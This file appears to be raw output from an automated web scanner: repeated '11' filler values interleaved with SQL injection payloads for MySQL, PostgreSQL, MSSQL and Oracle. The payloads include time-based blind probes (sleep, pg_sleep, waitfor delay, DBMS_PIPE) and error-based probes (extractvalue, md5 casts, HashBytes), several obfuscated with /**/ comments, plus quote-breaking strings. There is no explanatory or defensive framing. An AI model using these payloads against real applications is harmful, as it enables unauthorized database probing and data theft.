11

11

11

11
"and(select*from(select+sleep(2))a/**/union/**/select+1)="

11

11

11

11
'/**/and(select'1'from/**/pg_sleep(0))::text>'0

11

11

11

11
'/**/and(select'1'from/**/pg_sleep(2))::text>'0

11

11

11

11
'and(select+1)>0waitfor/**/delay'0:0:0

11

11

11

11
'and(select+1)>0waitfor/**/delay'0:0:2

11

11

11

11
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q

11

11

11

11
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',2)='p

11

11

11

11

11

11

11
'and/**/extractvalue(1,concat(char(126),md5(1847971027)))and'

11

11

11
"and/**/extractvalue(1,concat(char(126),md5(1151570898)))and"

11

extractvalue(1,concat(char(126),md5(1282364782)))

11

11
'and(select'1'from/**/cast(md5(1294301102)as/**/int))>'0

11

11
/**/and/**/cast(md5('1914932643')as/**/int)>0

11

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1991536704')))

11

11
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1792935169')))>'0

11

11
鎈'"\(

11

11
'"\(

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11

11